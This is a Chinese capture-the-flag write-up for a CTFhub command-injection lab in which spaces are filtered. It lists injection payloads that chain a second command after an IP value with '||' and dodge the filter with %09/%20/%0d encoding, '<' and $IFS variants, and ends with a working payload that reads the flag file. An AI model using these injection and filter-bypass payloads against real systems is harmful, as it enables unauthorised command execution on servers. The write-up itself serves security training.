RCE-命令注入(3)[CTFhub]

Write up

本题相对于上题,改为对空格的过滤

空格过滤代码

依旧是先查看同目录下文件
进行查询

由于对空格进行过滤,导致很多指令无法执行,无论是cat还是cp等都需要将指令和目标文件进行分开,所以空格是比较关键的。
所以,对空格过滤部分的绕过可以考虑编码绕过
首先 可尝试URL编码 空格为%20 tab编码 %09

0x7F000001||cp%09flag_1344089286819.php%09flag.txt
0x7F000001||cp%20flag_1344089286819.php%20flag.txt
0x7F000001||cp%0dflag_1344089286819.php%0dflag.txt
0x7F000001||cp<flag_1344089286819.php<flag.txt(<只适合单空格)

其次 可尝试Linux分隔符,编码 空格为%20 tab编码 %09

0x7F000001||cp$IFSflag_1344089286819.php$IFSflag.txt
0x7F000001||cp\${IFS}flag_1344089286819.php\${IFS}flag.txt
0x7F000001||cp\$IFS\$9flag_1344089286819.php\$IFS\$9flag.txt

扩展

Linux 分隔符

${IFS}, $IFS, $IFS$9

\$IFS:在linux系统下表示分隔符,但是后面内容当做变量,所以引出改进版
\${IFS}: 使用{来进行固定变量名}
\$IFS\$9:使用$9来进行截断,$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
对于上面三个进行本地测试cp命令:

本地实验

可以看到除了$IFS无法进行创建,其余均执行成功


本题通过测试可以使用以下payload成功获取答案

127.0.0.1||cat${IFS}flag_1344089286819.php
执行效果

ctfhub{6ebf357e9f10fbca7387aa****c8a9cc72}


参考资料

FreeBuf 浅谈CTF中命令执行与绕过的小技巧
CSDN CTF命令执行及绕过技巧

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容